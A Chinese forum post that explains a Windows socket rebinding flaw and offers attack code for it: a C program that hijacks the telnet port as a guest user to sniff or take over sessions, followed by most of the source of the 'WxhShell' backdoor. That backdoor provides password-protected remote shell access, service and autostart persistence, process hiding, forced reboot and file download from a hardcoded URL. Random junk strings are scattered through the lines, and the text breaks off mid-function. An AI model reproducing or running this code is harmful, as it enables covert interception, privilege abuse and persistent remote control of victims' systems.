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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ynthDE o  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~"nxE  
<3LbN FP  
  saddr.sin_family = AF_INET; YtmrRDQs  
8Vr%n2M  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); pH9VTM.*  
EV]1ml k$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); '=b/6@&  
HiZ*+T.B  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6^]+[q}3  
EJMM9(DQ7  
  这意味着什么?意味着可以进行如下的攻击: B3 8]~'8  
"\w 7q  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Hj^1or3R]  
xi~?>f  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Va"0>KX  
V% rzk*LA  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 OP[  @k  
?9 <:QE;I>  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  I|qo+u)  
p`olCp'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,Vc6Gwm  
M?1Y,5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3l rT3a3vV  
<cps2*'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Sc]B#/~B  
9+Np4i@  
  #include n(1l}TJy  
  #include ,LHn90S  
  #include <sb~ ^B  
  #include    8{^kQ/]'|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ha]VWt%}  
  int main() 6AAz  
  { 03$mYS_?  
  WORD wVersionRequested; ^UP`%egR  
  DWORD ret; YL!P0o13r  
  WSADATA wsaData; h0g8*HY+}  
  BOOL val; ER%^!xA  
  SOCKADDR_IN saddr; u|\1h LXX  
  SOCKADDR_IN scaddr; 8I=2lK  
  int err; ` 'DmDg  
  SOCKET s; `+]Qz =}  
  SOCKET sc; =x/X:;)>  
  int caddsize; 'TTLo|@"-  
  HANDLE mt; "{A(x }'Y4  
  DWORD tid;   0{5w 6  
  wVersionRequested = MAKEWORD( 2, 2 ); L^1NY3=$  
  err = WSAStartup( wVersionRequested, &wsaData ); g@d*\ P)  
  if ( err != 0 ) { 9SX +  
  printf("error!WSAStartup failed!\n"); k R?qb6  
  return -1; )*$lp'~7N  
  } "BM#4  
  saddr.sin_family = AF_INET; tj'\tW+s'  
   { a =#B)6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 z<MsKD0Q  
xVw9v6@`h  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &T#;-`'  
  saddr.sin_port = htons(23); D(~U6SR  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) CXH&U@57{  
  { GV1pn) 4  
  printf("error!socket failed!\n"); x'8x   
  return -1; !Lu2  
  } 5tl< 3g `  
  val = TRUE; 8=!D$t\3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 x[cL Bc<  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ko!)s  
  { jVEGj5F;N  
  printf("error!setsockopt failed!\n"); Q-(zwAaE  
  return -1; t$`r4Lb9/  
  } +5)nk}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 2_>N/Z4T  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <;lkUU(WT2  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1v y*{D  
VMZMG$C  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Z*F3G#A  
  { pd?M f=>#  
  ret=GetLastError(); &< z1k-&!  
  printf("error!bind failed!\n"); 7 W5@TWM  
  return -1; )705V|v  
  } <|HV. O/!  
  listen(s,2); _T60;ZI+^  
  while(1) 5=-Q4d  
  { p:&8sO!m  
  caddsize = sizeof(scaddr); 7^avpf)>  
  //接受连接请求 nkPh,X\N0  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); I{|O "8  
  if(sc!=INVALID_SOCKET) poE0{HOU  
  { 10Q ]67  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Lj({[H7D!  
  if(mt==NULL) 8\^R~K`sY  
  { x>K Or,f  
  printf("Thread Creat Failed!\n"); G/E+L-N#`  
  break; xo^b&ktQd  
  } cVv=*81\  
  } X0HZH?V+  
  CloseHandle(mt); D\v+wp.  
  } hgG9m[?K  
  closesocket(s); : $1?i)  
  WSACleanup(); 8S TvCH"Z_  
  return 0; "x0^#AVg  
  }   b/K PaNv  
  DWORD WINAPI ClientThread(LPVOID lpParam) z(ONv#}p  
  { [jQp~&nY  
  SOCKET ss = (SOCKET)lpParam; &u."A3(  
  SOCKET sc; `7E;VL^Y1  
  unsigned char buf[4096]; `v!urE/gg%  
  SOCKADDR_IN saddr; %@b0[ZC  
  long num; h,:m~0gmj  
  DWORD val; ]h`&&Bqt  
  DWORD ret; LE Nq_@$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 bIDj[-CDG  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _;S-x  
  saddr.sin_family = AF_INET; >NV @R&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); J3V= 46Yc  
  saddr.sin_port = htons(23); fUWG*o9  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /xBb[44z8  
  { h8q[1"a:  
  printf("error!socket failed!\n"); dlh)gp;  
  return -1; 6GlJ>r+n  
  } RMV/&85?y  
  val = 100; 6yG^p]zZ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g{)dP!}  
  { ^LnTOdAE  
  ret = GetLastError(); B3`5O[ 6  
  return -1; {lzWrUGO  
  } gx/,)> E.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =ZznFVJ`={  
  { ,<_A2t 2  
  ret = GetLastError();  4\N ;2N  
  return -1; !qQl@j O  
  } y-b%T|p9  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1s&zMWC  
  { u/0h$l  
  printf("error!socket connect failed!\n"); k9R4Y\8P  
  closesocket(sc); NN{?z!  
  closesocket(ss); tKuwpT1Qc  
  return -1; "S]0  
  } X,% 0/6*]  
  while(1) !PlEO 2at  
  { Dj?> <@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9rX&uP)j^#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $99n&t$Y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 `{h*/Q  
  num = recv(ss,buf,4096,0); NR6#g,+7  
  if(num>0) .hb:s,0mP  
  send(sc,buf,num,0); 3pROf#M  
  else if(num==0) n38p!oS  
  break; %IA\pSE  
  num = recv(sc,buf,4096,0); G_8RK,H.  
  if(num>0) Y5Bo|*b  
  send(ss,buf,num,0); BwEN~2u6  
  else if(num==0) _.Nbt(mz  
  break; SHxNr(wJ<Q  
  } wW P}C D  
  closesocket(ss); &|1<v<I5  
  closesocket(sc); gs[uD5oo<  
  return 0 ; 2jItq2.>  
  } 7F7 {)L  
J4C.+![!Ah  
W(Fv l  
========================================================== ^)S;xb9  
Rok7n1gW  
下边附上一个代码,,WXhSHELL UgSB>V<?  
Xl{P8L  
========================================================== HRCT }  
|A~jsz6pI  
#include "stdafx.h" 8'[7 )I=  
~W'{p  
#include <stdio.h> x+:UN'"r  
#include <string.h> mDABH@ R  
#include <windows.h> 6'57  
#include <winsock2.h> SM#]H-3  
#include <winsvc.h> !Pvf;rNI1T  
#include <urlmon.h> gfd"v  
g)[V(yWu  
#pragma comment (lib, "Ws2_32.lib") *%NT~C q  
#pragma comment (lib, "urlmon.lib") /t57!&  
R?|.pq/Ln  
#define MAX_USER   100 // 最大客户端连接数 /SR*W5#s  
#define BUF_SOCK   200 // sock buffer _Ey9G  
#define KEY_BUFF   255 // 输入 buffer VA>35w  
%N6A+5H  
#define REBOOT     0   // 重启 2#]#sZmk  
#define SHUTDOWN   1   // 关机 ~$cV: O7  
Lx1FpHo  
#define DEF_PORT   5000 // 监听端口 , kGc]{'W  
`2WFk8) F  
#define REG_LEN     16   // 注册表键长度 )[6U^j4  
#define SVC_LEN     80   // NT服务名长度 ZY={8T@  
<?6|.\&  
// 从dll定义API #U4F0BdA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Gr'  CtO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bHYy}weZ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X/!o\yyT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @f~RdO3  
wE>\7a*P%  
// wxhshell配置信息 iL&fgF"'  
struct WSCFG { 6r0krbN  
  int ws_port;         // 监听端口 %D34/=(X  
  char ws_passstr[REG_LEN]; // 口令 KeB"D!={;  
  int ws_autoins;       // 安装标记, 1=yes 0=no WRbj01v  
  char ws_regname[REG_LEN]; // 注册表键名 HYZ5EV  
  char ws_svcname[REG_LEN]; // 服务名 ItVWO:x&v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %6,SKg p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +F` S>U  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qvsd5PeCO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B\=8_z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (!aNq(   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .Iw AK/QS  
drP=A~?&:  
}; X*XZb F"=  
KnQ*vM*VM  
// default Wxhshell configuration Jy:Qlx`  
struct WSCFG wscfg={DEF_PORT, gQg"j)  
    "xuhuanlingzhe", py!|\00}  
    1, &MQmu,4  
    "Wxhshell", )h4 f\0  
    "Wxhshell", 5"@*?X K^  
            "WxhShell Service", 0B/,/KX  
    "Wrsky Windows CmdShell Service", Su7?;Oh/yI  
    "Please Input Your Password: ", ;>yxNGV`  
  1, S(I{NL}= $  
  "http://www.wrsky.com/wxhshell.exe",  hoUD;3  
  "Wxhshell.exe"  .-c4wm}  
    }; =E4LRKn  
u#$]?($}d  
// 消息定义模块 Y|f[bw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <tNBxa$gS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Qf+\;@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y/cvQY0pU  
char *msg_ws_ext="\n\rExit."; c /HHy,  
char *msg_ws_end="\n\rQuit."; ?k&Vy  
char *msg_ws_boot="\n\rReboot..."; - q1?? u  
char *msg_ws_poff="\n\rShutdown..."; @Z %ivR:  
char *msg_ws_down="\n\rSave to "; Y0@"fU35  
GqvpA# i  
char *msg_ws_err="\n\rErr!"; \BTODZ:h  
char *msg_ws_ok="\n\rOK!"; zuad~%D<I  
85:=4N%  
char ExeFile[MAX_PATH]; XbKYiy  
int nUser = 0; r&JgLC(   
HANDLE handles[MAX_USER]; 4y?n [/M/  
int OsIsNt; u(>^3PJ+  
p!7FpxZY  
SERVICE_STATUS       serviceStatus; XB^'K2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Vpz\.]  
<I\/n<*  
// 函数声明 Uw. `7b>B  
int Install(void); wPd3F.<$  
int Uninstall(void); QUc= &5 %  
int DownloadFile(char *sURL, SOCKET wsh); <4si/=  
int Boot(int flag); rdP[<Y9  
void HideProc(void); 4{U T!WIi  
int GetOsVer(void); v5#j Z$<F  
int Wxhshell(SOCKET wsl); uM IIYS  
void TalkWithClient(void *cs); ThajHK|U  
int CmdShell(SOCKET sock); dO<ERY  
int StartFromService(void); q460iL7yF}  
int StartWxhshell(LPSTR lpCmdLine); EzM ?Nft  
N=5a54!/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z, Yb&b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F3@phu${  
{OkV%Q<  
// 数据结构和表定义 pYZmz  
SERVICE_TABLE_ENTRY DispatchTable[] = .+3g*Dv{&  
{ ?W?c 1>  
{wscfg.ws_svcname, NTServiceMain}, df4A RP+  
{NULL, NULL}  F2LLN  
}; :Uzm  
M#4p E_G  
// 自我安装 30#s aGV  
int Install(void) /tx]5`#@7]  
{ ;~ )5s'  
  char svExeFile[MAX_PATH]; y| i,|  
  HKEY key; ? r "{}%  
  strcpy(svExeFile,ExeFile); |^"1{7)  
)Xz,j9GzJS  
// 如果是win9x系统,修改注册表设为自启动 rxvx  
if(!OsIsNt) { MDZ640-Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KK/tu+"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2>xF){`  
  RegCloseKey(key); kzQ+j8.,U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X; \+<LE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &ZlVWK~v  
  RegCloseKey(key); =vCY?I$P  
  return 0; zII|9y  
    } )hn6sXo+  
  } u^ +7hkk  
} +ZaSM~   
else { p J! mw\:  
taHJ ub  
// 如果是NT以上系统,安装为系统服务 vAF "n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,F8Yn5h  
if (schSCManager!=0) gZ3u=uME  
{ Xv5wJlc!d  
  SC_HANDLE schService = CreateService D[[|")Fn  
  ( r"gJX  
  schSCManager, ^B.5GK)!  
  wscfg.ws_svcname, p?%y82E  
  wscfg.ws_svcdisp, c \J:![x  
  SERVICE_ALL_ACCESS,  ul6]!Iy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qdJ=lhHM}  
  SERVICE_AUTO_START, ?4#Li~q  
  SERVICE_ERROR_NORMAL, F4-$~ v@  
  svExeFile, TVtvuvQ2K  
  NULL, TTX5EDCrC  
  NULL, @su^0 9n  
  NULL, |/|5UiX7  
  NULL, b5dD/-Vj  
  NULL E1aHKjLQ  
  ); O_ muD\  
  if (schService!=0) njB;&N)I  
  { W dK #ZOR  
  CloseServiceHandle(schService); ?DS@e@lx  
  CloseServiceHandle(schSCManager);  c(f  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T?CdZc.  
  strcat(svExeFile,wscfg.ws_svcname); F`9xVnK=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lBLARz&c#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 'A=^Se`=  
  RegCloseKey(key); t:x\kp  
  return 0; b;B%q$sntC  
    } wtLO!=B  
  } PFlNo` iO  
  CloseServiceHandle(schSCManager); Gi|w}j_  
} $t'MSlF  
} y4 #>X  
"rALt~AX  
return 1; })H wh).  
} D :4[ ~A  
1APe=tJ  
// 自我卸载 aB2F C$z  
int Uninstall(void) GE:vp>>}`  
{ 2. NN8PPD"  
  HKEY key; DZ 3wCLQtK  
V# }!-Xj  
if(!OsIsNt) { }1L4 "}L.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )Yh+c=6 ?  
  RegDeleteValue(key,wscfg.ws_regname); 38Mv25N  
  RegCloseKey(key); x}wG:K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @muRxi  
  RegDeleteValue(key,wscfg.ws_regname); ehGLk7@7&  
  RegCloseKey(key); HYD'.uj  
  return 0; B-Ll{k^  
  } s0TORl6Z|  
} :%_LpZ  
} g{]0sn#  
else { 8rAg \H3E  
WH#1 zv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); > ym,{EHK  
if (schSCManager!=0) A_"w^E{P  
{ &)# ihK_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b"<liGh"n-  
  if (schService!=0) #X+JHl  
  { W@M:a  
  if(DeleteService(schService)!=0) { 5 Aw"B  
  CloseServiceHandle(schService); ;RZ )  
  CloseServiceHandle(schSCManager); Di,^%  
  return 0; P8OaoPj  
  } :_`F{rDB  
  CloseServiceHandle(schService); \S `:y?[Y  
  } \}yc`7T:L0  
  CloseServiceHandle(schSCManager); H*?t^  
} Ea=8}6`s  
} D=A&+6B@-  
XAD- 'i  
return 1; wyH[x!QX  
} W]$w@.oW[  
H `XUJh  
// 从指定url下载文件 7y'RFD9@{  
int DownloadFile(char *sURL, SOCKET wsh) )J o: pkM  
{ F>SRs=_  
  HRESULT hr; Co9^OF-k  
char seps[]= "/"; ;>%r9pz ~  
char *token; rK 8lBy:<  
char *file; XW 2b|%T  
char myURL[MAX_PATH]; ol\Utq,  
char myFILE[MAX_PATH]; %Bj\W'V&p  
rm'SOJVA  
strcpy(myURL,sURL); ]6k\)#%2  
  token=strtok(myURL,seps); f=+mIZ  
  while(token!=NULL) JMCKcZ%N  
  { ydEoC$?0  
    file=token; xWH.^o,"  
  token=strtok(NULL,seps); ?.m bK  
  } >F|>cc>_E  
6$hQ35  
GetCurrentDirectory(MAX_PATH,myFILE); M5 LfRBO  
strcat(myFILE, "\\"); :^lI`9'*R  
strcat(myFILE, file); LRxZcxmy  
  send(wsh,myFILE,strlen(myFILE),0); MVpGWTH@F  
send(wsh,"...",3,0); ~p6 V,Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u4cnE"  
  if(hr==S_OK) &C5_g$Ma.Z  
return 0; IV~>I-rd  
else +zqn<<9  
return 1; 7uqzm  
O0x,lq  
} ZuzEg*lb  
J'6PmPzY|  
// 系统电源模块 Gm&Za,4%4  
int Boot(int flag) s2p\]|5  
{ j<m(PHSe  
  HANDLE hToken; 5;Czu(iH$  
  TOKEN_PRIVILEGES tkp; nQZx= JK  
BiLY(1,  
  if(OsIsNt) { @,j*wnR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); EmWn%eMN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AG nxYV"p  
    tkp.PrivilegeCount = 1; vQG5*pR*w  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @Rze| T.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;J( 8 L  
if(flag==REBOOT) { 6xmZXp d!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3lL-)<0A(  
  return 0; 94`7a<&ZNL  
} LtF,kAIt7v  
else { #FLb*%Nr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @}u*|P*  
  return 0; wQl ,  
} tPWLg),  
  } & GO}|W  
  else { /|m2WxK)  
if(flag==REBOOT) { <Xhm`rH  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H\"sgoJ  
  return 0; Wx%H%FeK  
} kOrZv,qFG[  
else { S/hQZHZHg,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ux!p8  
  return 0; `6(S^P  
} IVnHf_PzF  
} BN5[,J  
%bn jgy  
return 1; h|9L5  
}  R Z?jJm$  
\[i1JG  
// win9x进程隐藏模块  `,*3[  
void HideProc(void) 6dr%;Wp  
{ tmYz R%i  
y3Qsv  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s-!ArB,  
  if ( hKernel != NULL ) #powub  
  { z]y.W`i   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~8Fk(E_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =!A_^;NQf  
    FreeLibrary(hKernel); %g$o/A$  
  } ^$jb7HMObI  
{%5eMyF#  
return; ?3`UbN:  
} :K,i\  
Oc0a77@  
// 获取操作系统版本 U[-o> W#  
int GetOsVer(void) i v38p%Zm  
{ :uS\3toj  
  OSVERSIONINFO winfo; =U9*'EFr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &vMb_;~B  
  GetVersionEx(&winfo); Ms#M+[a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "Qc7dRmSxm  
  return 1; 1~_{$5[X?  
  else #$07:UJ  
  return 0; B)g[3gQ  
} h 0Q5-EA  
.o^l z 9:  
// 客户端句柄模块 ^98~U\ar  
int Wxhshell(SOCKET wsl) Tn e4  
{ qOtgve`jX  
  SOCKET wsh; :6 R\OeH+  
  struct sockaddr_in client; `wEb<H  
  DWORD myID; 20h, ^  
'3fu  
  while(nUser<MAX_USER) s?}e^/"v  
{ :J@ gmY:C  
  int nSize=sizeof(client); + .[ <%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,/I.t DH  
  if(wsh==INVALID_SOCKET) return 1; Qx#"q'2  
ql{ OETn#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |v%YQ R  
if(handles[nUser]==0) %)W2H^  
  closesocket(wsh); &)ChQZA  
else U(g:zae  
  nUser++; L|xbR#v  
  } sY Qk  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %/.b~|,-  
lT?v^\(H  
  return 0; x~~|.C ,  
} DV-d(@`K  
%s|Ely)  
// 关闭 socket X`>i& I]  
void CloseIt(SOCKET wsh) E6ElNgL  
{ hx%v+/  
closesocket(wsh); Rtl"Ub@HV  
nUser--; =s2*H8]  
ExitThread(0); osAd1<EIC  
} *)T^Ch D,  
~Ea} /Au  
// 客户端请求句柄 ,m:.-iy?  
void TalkWithClient(void *cs) & l&:`nsJ  
{ 3yF,ak {Sl  
i%]EEVmN  
  SOCKET wsh=(SOCKET)cs; ,T$U'&;  
  char pwd[SVC_LEN]; ;:g@zAV  
  char cmd[KEY_BUFF]; 'Aq{UGN  
char chr[1]; 06Sceq  
int i,j; .j0$J\:i  
aP+X}r  
  while (nUser < MAX_USER) { Be2DN5)  
.}TZxla0Zr  
if(wscfg.ws_passstr) { #rfiD%c  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UECK:61Me  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f+,qNvBY/  
  //ZeroMemory(pwd,KEY_BUFF); >uhaW@d  
      i=0; K`zdc`/  
  while(i<SVC_LEN) { m@v\(rT.  
k"zv~`i'  
  // 设置超时 zE9W8:7  
  fd_set FdRead; &.Qrs :U  
  struct timeval TimeOut; 'XjZ_ng  
  FD_ZERO(&FdRead); dOH &  
  FD_SET(wsh,&FdRead); |FZ/[9*  
  TimeOut.tv_sec=8; 7WS p($  
  TimeOut.tv_usec=0; %RRNJf}z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); G@X% +$I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 051 E6-  
"_NN3lD)X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _9Te!gJ4_#  
  pwd=chr[0]; H3=qe I  
  if(chr[0]==0xd || chr[0]==0xa) { ,m|h<faZL  
  pwd=0; u^I|T.w<r6  
  break; j-}O0~Jz  
  } 29] G^f>  
  i++; 08\, <9  
    } eJX9_6m-  
)g%d:xI  
  // 如果是非法用户,关闭 socket `e&Suyf4B  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FGmb<z 2p  
} <=/hi l  
R.1.)P[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,<P vovg_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S g![Lsj  
.g<DD)`  
while(1) { vr6w^&[c^  
A]oV"`f  
  ZeroMemory(cmd,KEY_BUFF); p]+Pkxz]'  
>@_^fw)  
      // 自动支持客户端 telnet标准   J<h $ wM  
  j=0; `l[c_%Bm  
  while(j<KEY_BUFF) { .?sx&2R2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !M1"b;  
  cmd[j]=chr[0];  >Abdd  
  if(chr[0]==0xa || chr[0]==0xd) { <<5(0#y#  
  cmd[j]=0; U$A]8NZ$S  
  break; ^k">A:E2  
  } :OT0yA=U  
  j++; d^ 8ZeC#  
    } N<VJ(20y  
y??XIsF  
  // 下载文件 x g  
  if(strstr(cmd,"http://")) { vXZOy%$o  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); '_FsvHQ  
  if(DownloadFile(cmd,wsh)) f46t9dxp$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); PKiy5D*8p  
  else =-n}[Y}A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :':s@gqr  
  } 9qzHS~l  
  else { 0 /U{p,r6`  
Kis"L(C  
    switch(cmd[0]) { yWo; a  
  I1M%J@Cz  
  // 帮助 [waIi3Dv\  
  case '?': { `b7t4d*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T:yE(OBf  
    break; Eo]xNn/g  
  } v PG},m~-  
  // 安装 hhc,uJ">!  
  case 'i': { R-d:j^:f  
    if(Install()) o]oum,Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]&+s6{}  
    else 3;]H1 1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8'io$ 6d=  
    break; +VOK%8,p  
    } BUXpC xQ  
  // 卸载 JP [K;/  
  case 'r': { y}ev ,j  
    if(Uninstall()) aj{Y\ 3L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >!1-lfa8  
    else i$ 6ypuc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n9ej7oj  
    break; Z,Dl` w  
    } M!D3}JRm  
  // 显示 wxhshell 所在路径 wjB:5~n50k  
  case 'p': { .|i.Cq8  
    char svExeFile[MAX_PATH]; bP&]!jZ  
    strcpy(svExeFile,"\n\r"); Ean5b>\  
      strcat(svExeFile,ExeFile); =W!/Z%^*8  
        send(wsh,svExeFile,strlen(svExeFile),0); 5K8^WK  
    break; $5%SNzzl  
    } ;+ hH  
  // 重启 v;D~Pa  
  case 'b': { Y O}<Ytx  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /!XVHkX[  
    if(Boot(REBOOT)) 60?%<oJ oH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tW}'g:s  
    else { \xw5JGm  
    closesocket(wsh); q(W3i^778  
    ExitThread(0); FP4P|kl/9'  
    } 5D//*}b,  
    break; *_\_'@1|J)  
    } Yufc{M00  
  // 关机 $suzW;{#  
  case 'd': { v O_*yh1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :nOFR$ W  
